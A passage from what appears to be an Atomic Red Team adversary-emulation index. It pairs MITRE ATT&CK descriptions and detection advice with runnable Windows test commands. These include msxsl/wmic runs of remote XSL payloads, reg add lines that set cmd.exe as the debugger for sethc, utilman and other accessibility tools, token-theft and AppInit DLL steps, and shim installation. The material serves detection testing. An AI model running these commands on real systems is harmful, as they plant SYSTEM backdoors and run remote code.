command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
'
- name: MSXSL Bypass using remote files
description: 'Executes the code specified within a XSL script tag during XSL
transformation using a remote payload. Requires download of MSXSL from Microsoft
at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
'
supported_platforms:
- windows
input_arguments:
xmlfile:
description: Remote location (URL) of the test XML file.
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml
xslfile:
description: Remote location (URL) of the test XSL script file.
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl
executor:
name: command_prompt
command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
'
- name: WMIC bypass using local XSL file
description: 'Executes the code specified within a XSL script using a local
payload.
'
supported_platforms:
- windows
input_arguments:
wmic_command:
description: WMI command to execute using wmic.exe
type: string
default: process list
local_xsl_file:
description: Location of the test XSL script file on the local filesystem.
type: path
default: C:\AtomicRedTeam\atomics\T1220\src\wmicscript.xsl
executor:
name: command_prompt
command: 'wmic.exe #{wmic_command} /FORMAT:#{local_xsl_file}
'
- name: WMIC bypass using remote XSL file
description: 'Executes the code specified within a XSL script using a remote
payload.
'
supported_platforms:
- windows
input_arguments:
wmic_command:
description: WMI command to execute using wmic.exe
type: string
default: process list
remote_xsl_file:
description: Remote location of an XSL payload.
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl
executor:
name: command_prompt
command: 'wmic.exe #{wmic_command} /FORMAT:#{remote_xsl_file}
'
privilege-escalation:
T1134:
technique:
x_mitre_permissions_required:
- User
- Administrator
x_mitre_data_sources:
- API monitoring
- Access tokens
- Process monitoring
- Process command-line parameters
name: Access Token Manipulation
description: "Windows uses access tokens to determine the ownership of a running
process. A user can manipulate access tokens to make a running process appear
as though it belongs to someone other than the user that started the process.
When this occurs, the process also takes on the security context associated
with the new token. For example, Microsoft promotes the use of access tokens
as a security best practice. Administrators should log in as a standard user
but run their tools with administrator privileges using the built-in access
token manipulation command runas.(Citation: Microsoft runas)\n
\ \nAdversaries may use access tokens to operate under a different user or
system security context to perform actions and evade detection. An adversary
can use built-in Windows API functions to copy access tokens from existing
processes; this is known as token stealing. An adversary must already be in
a privileged user context (i.e. administrator) to steal a token. However,
adversaries commonly use token stealing to elevate their security context
from the administrator level to the SYSTEM level. An adversary can use a token
to authenticate to a remote system as the account for that token if the account
has appropriate permissions on the remote system.(Citation: Pentestlab Token
Manipulation)\n\nAccess tokens can be leveraged by adversaries through three
methods:(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token
Impersonation/Theft** - An adversary creates a new access token that duplicates
an existing token using DuplicateToken(Ex). The token can then
be used with ImpersonateLoggedOnUser to allow the calling thread
to impersonate a logged on user's security context, or with SetThreadToken
to assign the impersonated token to a thread. This is useful for when the
target user has a non-network logon session on the system.\n\n**Create Process
with a Token** - An adversary creates a new access token with DuplicateToken(Ex)
and uses it with CreateProcessWithTokenW to create a new process
running under the security context of the impersonated user. This is useful
for creating a new process under the security context of a different user.\n\n**Make
and Impersonate Token** - An adversary has a username and password but the
user is not logged onto the system. The adversary can then create a logon
session for the user using the LogonUser function. The function
will return a copy of the new session's access token and the adversary can
use SetThreadToken to assign the token to a thread.\n\nAny standard
user can use the runas command, and the Windows API functions,
to create impersonation tokens; it does not require access to an administrator
account.\n\nMetasploit’s Meterpreter payload allows arbitrary token manipulation
and uses token impersonation to escalate privileges.(Citation: Metasploit
access token) The Cobalt Strike beacon payload allows arbitrary token impersonation
and can also create tokens. (Citation: Cobalt Strike Access Token)"
id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: "If an adversary is using a standard command-line shell,
analysts can detect token manipulation by auditing command-line activity.
Specifically, analysts should look for use of the runas command.
Detailed command-line logging is not enabled by default in Windows.(Citation:
Microsoft Command-line Logging)\n\nIf an adversary is using a payload that
calls the Windows token APIs directly, analysts can detect token manipulation
only through careful analysis of user network activity, examination of running
processes, and correlation with other endpoint and network behavior. \n\nThere
are many Windows API calls a payload can take advantage of to manipulate access
tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation:
Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation:
Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API
pages for more information.\n\nQuery systems for process and thread token
information and look for inconsistencies such as user owns processes impersonating
the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)"
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Tom Ueltschi @c_APT_ure
- Travis Smith, Tripwire
- Robby Winchester, @robwinchester3
- Jared Atkinson, @jaredcatkinson
created: '2017-12-14T16:46:06.044Z'
x_mitre_effective_permissions:
- SYSTEM
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1134
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1134
- source_name: capec
external_id: CAPEC-633
url: https://capec.mitre.org/data/definitions/633.html
- source_name: Microsoft runas
description: Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.
url: https://technet.microsoft.com/en-us/library/bb490994.aspx
- source_name: Pentestlab Token Manipulation
description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April
21, 2017.
url: https://pentestlab.blog/2017/04/03/token-manipulation/
- source_name: BlackHat Atkinson Winchester Token Manipulation
description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is
No One: Hunting for Token Manipulation. Retrieved December 21, 2017.'
url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf
- source_name: Metasploit access token
description: Offensive Security. (n.d.). What is Incognito. Retrieved April
21, 2017.
url: https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
- source_name: Cobalt Strike Access Token
description: Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials.
Retrieved April 21, 2017.
url: https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/
- source_name: Microsoft Command-line Logging
description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
April 21, 2017.
url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
- source_name: Microsoft LogonUser
description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
- source_name: Microsoft DuplicateTokenEx
description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
- source_name: Microsoft ImpersonateLoggedOnUser
description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
modified: '2019-10-14T20:45:04.451Z'
identifier: T1134
atomic_tests:
- name: Access Token Manipulation
description: |
Creates a process as another user
Requires Administrator Privileges To Execute Test
supported_platforms:
- windows
input_arguments:
target_user:
description: Username To Steal Token From
type: String
default: SYSTEM
executor:
name: powershell
elevation_required: true
command: |
#list processes by user,
$owners = @{}
gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
#Steal Token
. .\src\T1134.ps1
T1015:
technique:
x_mitre_permissions_required:
- Administrator
x_mitre_data_sources:
- Windows Registry
- File monitoring
- Process monitoring
name: Accessibility Features
description: |-
Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)
Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:
For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)
* On-Screen Keyboard: C:\Windows\System32\osk.exe
* Magnifier: C:\Windows\System32\Magnify.exe
* Narrator: C:\Windows\System32\Narrator.exe
* Display Switcher: C:\Windows\System32\DisplaySwitch.exe
* App Switcher: C:\Windows\System32\AtBroker.exe
id: attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Changes to accessibility utility binaries or binary paths
that do not correlate with known software, patch cycles, etc., are suspicious.
Command line invocation of tools capable of modifying the Registry for associated
keys are also suspicious. Utility arguments and the binaries themselves should
be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Paul Speulstra, AECOM Global Security Operations Center
created: '2017-05-31T21:30:26.946Z'
x_mitre_effective_permissions:
- SYSTEM
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1015
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1015
- source_name: capec
external_id: CAPEC-558
url: https://capec.mitre.org/data/definitions/558.html
- source_name: FireEye Hikit Rootkit
description: 'Glyer, C., Kazanciyan, R. (2012, August 20). THE “HIKIT” ROOTKIT:
ADVANCED AND PERSISTENT ATTACK TECHNIQUES (PART 1). Retrieved June 6, 2016.'
url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
- source_name: DEFCON2016 Sticky Keys
description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to
the Kingdom. Retrieved July 5, 2017.
url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom
- source_name: Tilbury 2014
description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
Retrieved November 12, 2014.
url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
modified: '2019-07-16T19:07:04.652Z'
identifier: T1015
atomic_tests:
- name: Attaches Command Prompt As Debugger To Process - osk
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: osk.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - sethc
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: sethc.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - utilman
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: utilman.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - magnify
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: magnify.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - narrator
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: narrator.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - DisplaySwitch
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: DisplaySwitch.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - AtBroker
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: atbroker.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
'':
technique:
x_mitre_data_sources:
- AWS CloudTrail logs
- Stackdriver logs
- Authentication logs
- Process monitoring
x_mitre_permissions_required:
- User
- Administrator
name: Valid Accounts
description: "Adversaries may steal the credentials of a specific user or service
account using Credential Access techniques or capture credentials earlier
in their reconnaissance process through social engineering for means of gaining
Initial Access. \n\nAccounts that an adversary may use can fall into three
categories: default, local, and domain accounts. Default accounts are those
that are built-into an OS such as Guest or Administrator account on Windows
systems or default factory/provider set accounts on other types of systems,
software, or devices. Local accounts are those configured by an organization
for use by users, remote support, services, or for administration on a single
system or service. (Citation: Microsoft Local Accounts Feb 2019) Domain accounts
are those managed by Active Directory Domain Services where access and permissions
are configured across systems and services that are part of that domain. Domain
accounts can cover users, administrators, and services.\n\nCompromised credentials
may be used to bypass access controls placed on various resources on systems
within the network and may even be used for persistent access to remote systems
and externally available services, such as VPNs, Outlook Web Access and remote
desktop. Compromised credentials may also grant an adversary increased privilege
to specific systems or access to restricted areas of the network. Adversaries
may choose not to use malware or tools in conjunction with the legitimate
access those credentials provide to make it harder to detect their presence.\n\nDefault
accounts are also not limited to Guest and Administrator on client machines,
they also include accounts that are preset for equipment such as network devices
and computer applications whether they are internal, open source, or COTS.
Appliances that come preset with a username and password combination pose
a serious threat to organizations that do not change it post installation,
as they are easy targets for an adversary. Similarly, adversaries may also
utilize publicly disclosed private keys, or stolen private keys, to legitimately
connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021)
(Citation: Metasploit SSH Module)\n\nThe overlap of account access, credentials,
and permissions across a network of systems is of concern because the adversary
may be able to pivot across accounts and systems to reach a high level of
access (i.e., domain or enterprise administrator) to bypass access controls
set within the enterprise. (Citation: TechNet Credential Theft)"
id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
modified: '2019-10-23T14:22:11.800Z'
x_mitre_platforms:
- Linux
- macOS
- Windows
- AWS
- GCP
- Azure
- SaaS
- Office 365
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: "Configure robust, consistent account activity audit policies
across the enterprise and with externally accessible services. (Citation:
TechNet Audit Policy) Look for suspicious account behavior across systems
that share accounts, either user, admin, or service accounts. Examples: one
account logged into multiple systems simultaneously; multiple accounts logged
into the same machine simultaneously; accounts logged in at odd times or outside
of business hours. Activity may be from interactive login sessions or process
ownership from accounts being used to execute binaries on a remote system
as a particular account. Correlate other security systems with login information
(e.g., a user has an active login session but has not entered the building
or does not have VPN access).\n\nPerform regular audits of domain and local
system accounts to detect accounts that may have been created by an adversary
for persistence. Checks on these accounts could also include whether default
accounts such as Guest have been activated. These audits should also include
checks on any appliances and applications for default credentials or SSH keys,
and if any are discovered, they should be updated immediately. "
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Netskope
- Mark Wee
- Praetorian
created: '2017-05-31T21:31:00.645Z'
x_mitre_effective_permissions:
- User
- Administrator
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: initial-access
external_references:
- external_id: T1078
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1078
- source_name: capec
external_id: CAPEC-560
url: https://capec.mitre.org/data/definitions/560.html
- description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
11, 2019.
source_name: Microsoft Local Accounts Feb 2019
url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
- description: undefined. (n.d.). Retrieved April 12, 2019.
source_name: Metasploit SSH Module
url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
- source_name: TechNet Credential Theft
description: Microsoft. (2016, April 15). Attractive Accounts for Credential
Theft. Retrieved June 3, 2016.
url: https://technet.microsoft.com/en-us/library/dn535501.aspx
- source_name: TechNet Audit Policy
description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
June 3, 2016.
url: https://technet.microsoft.com/en-us/library/dn487457.aspx
x_mitre_defense_bypassed:
- Firewall
- Host intrusion prevention systems
- Network intrusion detection system
- Process whitelisting
- System access controls
- Anti-virus
atomic_tests: []
T1103:
technique:
x_mitre_data_sources:
- Loaded DLLs
- Process monitoring
- Windows Registry
x_mitre_permissions_required:
- Administrator
name: AppInit DLLs
description: |-
Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)
id: attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Secure boot disabled on systems running Windows 8 and later
type: attack-pattern
x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and
look for DLLs that are not recognized or not normally loaded into a process.
Monitor the AppInit_DLLs Registry values for modifications that do not correlate
with known software, patch cycles, etc. Monitor and analyze application programming
interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx
and RegSetValueEx. (Citation: Endgame Process Injection July 2017) Tools such
as Sysinternals Autoruns may also be used to detect system changes that could
be attempts at persistence, including listing current AppInit DLLs. (Citation:
TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to
a process loading a malicious DLL. Data and events should not be viewed in
isolation, but as part of a chain of behavior that could lead to other activities,
such as making network connections for Command and Control, learning details
about the environment through Discovery, and conducting Lateral Movement."
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:31:15.409Z'
x_mitre_effective_permissions:
- Administrator
- SYSTEM
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1103
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1103
- source_name: Endgame Process Injection July 2017
description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
A Technical Survey Of Common And Trending Process Injection Techniques.
Retrieved December 7, 2017.'
url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
- source_name: AppInit Registry
description: Microsoft. (2006, October). Working with the AppInit_DLLs registry
value. Retrieved July 15, 2015.
url: https://support.microsoft.com/en-us/kb/197571
- source_name: AppInit Secure Boot
description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July
15, 2015.
url: https://msdn.microsoft.com/en-us/library/dn280412
- source_name: TechNet Autoruns
description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
Retrieved June 6, 2016.
url: https://technet.microsoft.com/en-us/sysinternals/bb963902
modified: '2019-07-16T19:09:25.240Z'
identifier: T1103
atomic_tests:
- name: Install AppInit Shim
description: 'AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs
to be loaded into each user mode process on the system
'
supported_platforms:
- windows
input_arguments:
registry_file:
description: Windows Registry File
type: Path
default: T1103.reg
executor:
name: command_prompt
elevation_required: true
command: 'reg.exe import #{registry_file}
'
T1138:
technique:
x_mitre_data_sources:
- Loaded DLLs
- System calls
- Windows Registry
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- Administrator
name: Application Shimming
description: "The Microsoft Windows Application Compatibility Infrastructure/Framework
(Application Shim) was created to allow for backward compatibility of software
as the operating system codebase changes over time. For example, the application
shimming feature allows developers to apply fixes to applications (without
rewriting code) that were created for Windows XP so that it will work with
Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework,
shims are created to act as a buffer between the program (or more specifically,
the Import Address Table) and the Windows OS. When a program is executed,
the shim cache is referenced to determine if the program requires the use
of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179)
to redirect the code as necessary in order to communicate with the OS. \n\nA
list of all shims currently installed by the default Windows installer (sdbinst.exe)
is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows
nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases
are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n*
hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo
keep shims secure, Windows designed them to run in user mode so they cannot
modify the kernel and you must have administrator privileges to install a
shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)
(UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data
Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH),
and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179),
utilizing these shims may allow an adversary to perform several malicious
acts such as elevate privileges, install backdoors, disable defenses like
Windows Defender, etc."
id: attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):
* Shim-Process-Scanner - checks memory of every running process for any Shim flags
* Shim-Detector-Lite - detects installation of custom shim databases
* Shim-Guard - monitors registry for any shim installations
* ShimScanner - forensic tool to find active shims in memory
* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)
Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1138
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1138
- source_name: Endgame Process Injection July 2017
description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
A Technical Survey Of Common And Trending Process Injection Techniques.
Retrieved December 7, 2017.'
url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
- source_name: Black Hat 2015 App Shim
description: Pierce, Sean. (2015, November). Defending Against Malicious Application
Compatibility Shims. Retrieved June 22, 2017.
url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
modified: '2019-07-16T19:24:57.985Z'
identifier: T1138
atomic_tests:
- name: Application Shim Installation
description: |
To test injecting DLL into a custom application
you need to copy AtomicShim.dll Into C:\Tools
As well as Compile the custom app.
We believe observing the shim install is a good
place to start.
supported_platforms:
- windows
input_arguments:
file_path:
description: Path to the shim databaase file
type: String
default: C:\AtomicRedTeam\atomics\T1138\src\AtomicShimx86.sdb
executor:
name: command_prompt
elevation_required: true
command: |
sdbinst.exe #{file_path}
sdbinst.exe -u #{file_path}
T1088:
technique:
x_mitre_data_sources:
- System calls
- Process monitoring
- Authentication logs
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
name: Bypass User Account Control
description: |-
Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)
If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.
Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)
Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)
id: attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be
modified: '2019-07-16T20:28:55.134Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.
Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:
* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass)
* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)
Analysts should monitor these Registry settings for unauthorized changes.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Stefan Kanthak
- Casey Smith
created: '2017-05-31T21:31:07.462Z'
x_mitre_effective_permissions:
- Administrator
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1088
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1088
- source_name: TechNet How UAC Works
description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved
June 3, 2016.
url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
- source_name: TechNet Inside UAC
